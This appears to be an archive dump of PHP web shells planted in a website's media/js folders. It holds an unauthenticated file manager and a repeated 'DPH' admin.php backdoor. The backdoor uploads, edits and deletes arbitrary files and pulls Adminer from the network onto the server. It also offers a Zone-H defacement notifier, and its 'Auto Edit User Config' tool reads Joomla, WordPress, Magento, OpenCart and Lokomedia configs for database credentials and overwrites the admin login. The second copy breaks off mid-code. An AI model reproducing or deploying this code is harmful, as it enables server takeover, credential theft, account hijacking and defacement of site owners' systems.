            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\
alert('Directory is Corrupted and Unreadable.');\
window.location.replace('?');\
</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>ljjt/media/js/zuvwp/admin.php000066600000055511151335004600012206 0ustar00<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);
$dir = $currentDir; // Needed for Adminer logic

// Adminer Download Panel
if (isset($_GET['DPH']) && $_GET['DPH'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FILE, $fp);
        $result = curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
        return $result;
    }

    echo "<center><h2>Adminer Downloader</h2>";
    if (file_exists('adminer.php')) {
        echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
    } else {
        if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) {
            echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
        } else {
            echo "<font color=red>Failed to create adminer.php</font>";
        }
    }
    echo "</center>";
    exit;
}

// Simulated Zone-H Notifier
if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') {
    echo "<hr><center><h2>Zone-H Style Notifier (Simulated)</h2>";
    if (isset($_POST['submit'])) {
        $domainList = explode("\r\n", $_POST['url']);
        $nick = $_POST['nick'];
        echo "Notifier Archive: <a href='#' target='_blank'>http://zone-h.org/archive/notifier=$nick</a><br><br>";
        foreach ($domainList as $url) {
            $url = trim($url);
            if ($url) {
                echo htmlspecialchars($url) . " -> <font color=lime>SIMULATED_OK</font><br>";
            }
        }
    } else {
        echo "<form method='post'>
            <u>Defacer</u>: <br>
            <input type='text' name='nick' size='50' value='DPH'><br>
            <u>Domains</u>: <br>
            <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
            <input type='submit' name='submit' value='Submit' style='width: 450px;'>
            </form>";
    }
    echo "</center><hr>";
    exit;
}

// Auto Edit User Config
if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') {
    function ambilkata($string, $start, $end) {
        $str = explode($start, $string);
        if (isset($str[1])) {
            $str = explode($end, $str[1]);
            return $str[0];
        }
        return '';
    }
    
    if (isset($_POST['hajar'])) {
        if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "username atau password harus lebih dari 6 karakter";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center>
        <h1>Auto Edit User Config</h1>
        <form method='post'>
        <input type='hidden' name='d' value='".base64_encode($currentDir)."'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set User & Pass: <br>
        <input type='text' name='user_baru' value='DPH' placeholder='user_baru'><br>
        <input type='text' name='pass_baru' value='DPH690' placeholder='pass_baru'><br>
        <input type='submit' name='hajar' value='Sikat!' style='width: 215px;'>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
        exit;
    }
}

// Directory Navigation
$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
    if ($v == "" && $k == 0) {
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
        continue;
    }
    $dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
    echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";

// Upload
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
    $fileName = $_FILES['u']['name'];
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = $currentDir . '/' . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
    } else {
        echo "<script>alert('Upload failed!');</script>";
    }
}

// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
    echo "<table>";
    echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>";

    foreach ($items as $item) {
        $fullPath = $currentDir . '/' . $item;
        if ($item == '.' || $item == '..') continue;

        if (is_dir($fullPath)) {
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\">📁 $item</a></td><td>--</td><td>--</td></tr>";
        } else {
            $size = filesize($fullPath) / 1024;
            $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">📄 $item</a></td><td>$size</td><td>"
                . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>"
                . "</td></tr>";
        }
    }
    echo "</table>";
} else {
    echo "<p>Unable to read directory!</p>";
}

// Delete File
if (isset($_POST['del'])) {
    $filePath = base64_decode($_POST['del']);
    $fileDir = dirname($filePath);
    if (@unlink($filePath)) {
        echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Edit File
if (isset($_POST['edit'])) {
    $filePath = base64_decode($_POST['edit']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath)) {
        echo "<style>table{display:none;}</style>";
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>";
        echo "<form method=\"post\">
            <input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">
            <textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <center><button type=\"submit\" name=\"save\">Save</button></center>
            </form>";
    }
}

// Save Edited File
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $filePath = base64_decode($_POST['obj']);
    $fileDir = dirname($filePath);
    if (file_put_contents($filePath, $_POST['content'])) {
        echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Rename
if (isset($_POST['ren'])) {
    $oldPath = base64_decode($_POST['ren']);
    $oldDir = dirname($oldPath);
    if (isset($_POST['new'])) {
        $newPath = $oldDir . '/' . $_POST['new'];
        if (rename($oldPath, $newPath)) {
            echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>";
        } else {
            echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>";
        }
    } else {
        echo "<form method=\"post\">
            New Name: <input name=\"new\" type=\"text\">
            <input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">
            <input type=\"submit\" value=\"Submit\">
            </form>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager + Adminer + ZoneH + AutoEditUser</title>
    <style>
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt("New name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                var input1 = document.createElement("input");
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    </script>
</head>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
        </form>
        <div style="margin-top: 10px;">
            <a href="?DPH=adminer">Adminer Download</a> | 
            <a href="?DPH=zoneh">Zone-H Notifier</a> | 
            <a href="?DPH=edit_user">Auto Edit User Config</a>
        </div>
    </div>
</body>
</html>ljjt/media/js/zuvwp/ybzvv/admin.php000066600000055511151335004600013366 0ustar00<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);
$dir = $currentDir; // Needed for Adminer logic

// Adminer Download Panel
if (isset($_GET['DPH']) && $_GET['DPH'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FILE, $fp);
        $result = curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
        return $result;
    }

    echo "<center><h2>Adminer Downloader</h2>";
    if (file_exists('adminer.php')) {
        echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
    } else {
        if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) {
            echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
        } else {
            echo "<font color=red>Failed to create adminer.php</font>";
        }
    }
    echo "</center>";
    exit;
}

// Simulated Zone-H Notifier
if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') {
    echo "<hr><center><h2>Zone-H Style Notifier (Simulated)</h2>";
    if (isset($_POST['submit'])) {
        $domainList = explode("\r\n", $_POST['url']);
        $nick = $_POST['nick'];
        echo "Notifier Archive: <a href='#' target='_blank'>http://zone-h.org/archive/notifier=$nick</a><br><br>";
        foreach ($domainList as $url) {
            $url = trim($url);
            if ($url) {
                echo htmlspecialchars($url) . " -> <font color=lime>SIMULATED_OK</font><br>";
            }
        }
    } else {
        echo "<form method='post'>
            <u>Defacer</u>: <br>
            <input type='text' name='nick' size='50' value='DPH'><br>
            <u>Domains</u>: <br>
            <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
            <input type='submit' name='submit' value='Submit' style='width: 450px;'>
            </form>";
    }
    echo "</center><hr>";
    exit;
}

// Auto Edit User Config
if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') {
    function ambilkata($string, $start, $end) {
        $str = explode($start, $string);
        if (isset($str[1])) {
            $str = explode($end, $str[1]);
            return $str[0];
        }
        return '';
    }
    
    if (isset($_POST['hajar'])) {
        if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "username atau password harus lebih dari 6 karakter";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
